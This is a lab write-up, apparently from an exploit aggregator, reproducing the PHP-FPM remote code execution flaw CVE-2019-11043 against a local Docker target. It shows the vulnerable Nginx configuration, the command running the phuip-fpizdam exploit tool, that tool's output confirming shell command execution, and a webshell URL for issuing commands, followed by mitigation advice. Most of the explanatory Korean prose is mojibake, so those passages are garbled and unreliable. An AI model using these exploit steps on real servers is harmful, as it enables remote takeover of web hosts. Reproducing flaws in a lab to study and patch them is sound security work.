Share
## https://sploitus.com/exploit?id=4B409F5B-3A80-5B77-9CAD-7BAAFFAFB740
# CVE-2019-11043
# **PHP-FPM Remote Code Execution (CVE-2019-11043)**
---
### **Contributors**
- ์ ํ๊ต
### ์์ฝ
---
PHP-FPM์ PHP๋ฅผ ์ํ FastCGI ๊ตฌํ์ฒด์
๋๋ค. PHP ๋ฒ์ 7.1.x์ 7.1.33 ๋ฏธ๋ง, 7.2.x์ 7.2.24 ๋ฏธ๋ง, 7.3.x์ 7.3.11 ๋ฏธ๋ง ๋ฒ์ ์์, ํน์ FPM ์ค์ ์กฐ๊ฑดํ์ FPM ๋ชจ๋์ด ํ ๋น๋ ๋ฒํผ๋ฅผ ๋์ด์(overflow) FCGI ํ๋กํ ์ฝ ๋ฐ์ดํฐ์ฉ์ผ๋ก ์์ฝ๋ ๊ณต๊ฐ์ ์ฐ๊ธฐ๋ฅผ ํ๋๋ก ์ ๋ฐํ ์ ์์ผ๋ฉฐ, ์ด๋ก ์ธํด ์๊ฒฉ ์ฝ๋ ์คํ(RCE)์ด ๊ฐ๋ฅํด์ง๋๋ค.
์ด ์ทจ์ฝ์ ์ Chaitin Tech๊ฐ ์ฃผ์ตํ Real World CTF 2019 ์์ (Quals) ์ค์ ์ฒ์ ๋ฐ๊ฒฌ๋์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ PHP-FPM๊ณผ ํจ๊ป ๋์ํ๋ Nginx ์๋ฒ๊ฐ ํน์ ๋ฐฉ์์ผ๋ก ์๋ชป ์ค์ (misconfiguration)๋์ด ์์ ๋ ์ํฅ์ ๋ฐ์ผ๋ฉฐ, ๊ฐ์ฅ ํํ ์ทจ์ฝ ์ค์ ์ผ๋ก๋ `location ~ [^/]\.php(/|$)` ๊ท์น์ด ์์ต๋๋ค.
### ์ทจ์ฝ ์กฐ๊ฑด
---
PHP ๋ฒ์ 7.1.x์ 7.1.33 ๋ฏธ๋ง, 7.2.x์ 7.2.24 ๋ฏธ๋ง, 7.3.x์ 7.3.11 ๋ฏธ๋ง ๋ฒ์ ์์ ์ผ์ด๋๋ ์ทจ์ฝ์ ์ผ๋ก FPM ๋ชจ๋ ์์ฒด์ ๋ฉ๋ชจ๋ฆฌ ์ฒ๋ฆฌ ๋ฒ๊ทธ์
๋๋ค. ์ด ๋ฒ์ ๋๋ผ๋ฉด ์ค์ ๊ณผ ๋ฌด๊ดํ๊ฒ ๊ทผ๋ณธ์ ์ผ๋ก ๊ฒฐํจ์ด ์์ต๋๋ค.
```html
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
}
```
Nginx์ ์ํํ location ์ ๊ท์์ผ๋ก ์ธํด
- `[^/]\.php` ํจํด์ด `.php`๋ก ๋๋๊ธฐ๋ง ํ๋ฉด ๋ค์ ๋ญ๊ฐ ๋ถ๋ (`/์๋ฌด๊ฑฐ๋`) ๋ค PHP-FPM์ผ๋ก ๋๊ฒจ๋ฒ๋ฆฝ๋๋ค
- `fastcgi_split_path_info`๊ฐ URL์ ์ชผ๊ฐ์ `PATH_INFO`๋ก ๋๊ธฐ๋ ๊ณผ์ ์์, ์์ฒญ์ ๊ฐํ๋ฌธ์(`\n`, URL ์ธ์ฝ๋ฉ์ผ๋ก `%0A`)๊ฐ ์์ด๋ฉด ํ์ฑ์ด ๊นจ์ง๊ฒ ๋ฉ๋๋ค
๋ํ ํ์ผ ์กด์ฌ ์ฌ๋ถ๋ฅผ ์ฒดํฌํ์ง ์์, `/index.php\n์
์์ ์ธ๋ฌธ์์ด` ๊ฐ์ ์์ฒญ์ ๋๊ฒจ๋ฒ๋ฆฝ๋๋ค.
### ํ๊ฒฝ ๊ตฌ์ฑ
---
์๋์ฐ 11 Pro ๋ฒ์ ์์์ Docker์์ ์ฌ๊ตฌํ๋์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก Docker๋ฅผ ์คํํ ์ ์๋ Hyper-V ๊ฐ ์ฌ์ฉ๋๊ณ ์์ด์ผ ํฉ๋๋ค.
๋ชจ๋ ๋ช
๋ น์ด๋ CMD(๋ช
๋ น ํ๋กฌํํธ) ๊ด๋ฆฌ์ ๊ถํ ์์ด ์คํ๋์์ต๋๋ค.
---
๋ค์ ๋ช
๋ น์ ์ฌ์ฉํ์ฌ Nginx์์ ์ทจ์ฝํ PHP-FPM 7.2.10 ์๋ฒ๋ฅผ ๊ตฌ๋ํฉ๋๋ค.
```powershell
docker compose up -d
```
์๋ฒ ๊ตฌ๋ ์ดํ, `http://localhost:8080/index.php` ๋ฅผ ํตํด ๊ธฐ๋ณธ ํ์ด์ง์ ์ ์ ํ ์ ์์ต๋๋ค.

### ์ทจ์ฝ์ ์ฌํ
---
๋ค์ ๋ช
๋ น์ด๋ฅผ ํตํด, ์ต์คํ๋ก์ ๋๊ตฌ๋ฅผ ์คํํ์ฌ ๊ตฌ๋๋ ์๋ฒ์ ์ทจ์ฝ์ ์ ์ฌํํฉ๋๋ค.
```powershell
./phuip-fpizdam http://localhost:8080/index.php
```
์ต์คํ๋ก์ ๋๊ตฌ๋ [https://github.com/neex/phuip-fpizdam](https://github.com/neex/phuip-fpizdam) ์์ ๋ฐ์ ์ ์์ต๋๋ค.
```powershell
.\phuip-fpizdam.exe http://localhost:8080/index.php
2026/07/09 16:58:55 Base status code is 200
2026/07/09 16:58:56 Status code 502 for qsl=1800, adding as a candidate
2026/07/09 16:58:56 The target is probably vulnerable. Possible QSLs: [1790 1795 1800]
2026/07/09 16:58:57 Attack params found: --qsl 1795 --pisos 248 --skip-detect
2026/07/09 16:58:57 Trying to set "session.auto_start=0"...
2026/07/09 16:58:57 Detect() returned attack params: --qsl 1795 --pisos 248 --skip-detect <-- REMEMBER THIS
2026/07/09 16:58:57 Performing attack using php.ini settings...
2026/07/09 16:58:57 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2026/07/09 16:58:57 Trying to cleanup /tmp/a...
2026/07/09 16:58:57 Done!
```
์ฑ๊ณต์ ์ผ๋ก ์ต์คํ๋ก์์ด ์ฑ๊ณตํ๊ฒ ๋๋ฉด ์ด์ ๊ฐ์ด ์ถ๋ ฅ๋ฉ๋๋ค.

์ด๊ธฐ ์ต์คํ๋ก์ ํ WebShell ์ด PHP-FPM ํ๋ก์ธ์ค์ ์ฃผ์
๋ฉ๋๋ค. ๋ค์ ์ฃผ์์ ์ ์ํ์ฌ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค.
```powershell
http://localhost:8080/index.php?a=id
```
์ฑ๊ณต์ ์ผ๋ก ์ถ๋ ฅ๋๊ฒ์ ํ์ธ ํ ์ ์์ต๋๋ค.

### ์ค์ ์ฐธ๊ณ ์ฌํญ
---
์ด ์ทจ์ฝ์ ์ ์ผ๋ถ PHP-FPM ํ์ ํ๋ก์ธ์ค์๋ง ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ๋ช
๋ น์ด ์ฒซ ๋ฒ์งธ ์๋์์ ์คํ๋์ง ์์ผ๋ฉด ์ํฅ์ ๋ฐ๋ ํ๋ก์ธ์ค์ ๋๋ฌํ๊ธฐ ์ํด ์ฌ๋ฌ ๋ฒ ์๋ํด์ผ ํฉ๋๋ค. ํน์ ์๋ก๊ณ ์นจ์ ํด๋ณด์
๋ ๋ฉ๋๋ค.
์ต์คํ๋ก์์ ์ฑ๊ณต ์ฌ๋ถ๋ ํน์ Nginx ๊ตฌ์ฑ์ ํฌ๊ฒ ์ข์ฐ๋ฉ๋๋ค. ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ์ทจ์ฝํ ๊ตฌ์ฑ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค :
- FastCGI ์ฒ๋ฆฌ ํ์ฑํ
- PHP-FPM์ ํตํด ์ฒ๋ฆฌ๋ PHP ํ์ผ
- URL์ ์ทจ์ฝํ ๋ฐฉ์์ผ๋ก ๋ถํ ํ๋ ํน์ ์์น ๊ท์น
### ๋์ ๋ฐฉ์
---
- PHP ๋ฒ์ ์
๊ทธ๋ ์ด๋
- Nginx ์ค์ ์ ํ์ผ ์กด์ฌ ์ฒดํฌ ์ถ๊ฐ
- WAF (Web Application Firewall) ๋ฃฐ ์ ์ฉ
- URL์ ๊ฐํ ๋ฌธ์(`%0A`, `\n`)๊ฐ ํฌํจ๋ ์์ฒญ ์์ฒด๋ฅผ ์ฐจ๋จ
- ๋น์ ์์ ์ผ๋ก ๊ธด ์ฟผ๋ฆฌ์คํธ๋ง(๊ณต๊ฒฉ ํน์ฑ์ 1500~2000๋ฐ์ดํธ๋ padding ํ์) ํ์ง ๋ฃฐ ์ถ๊ฐ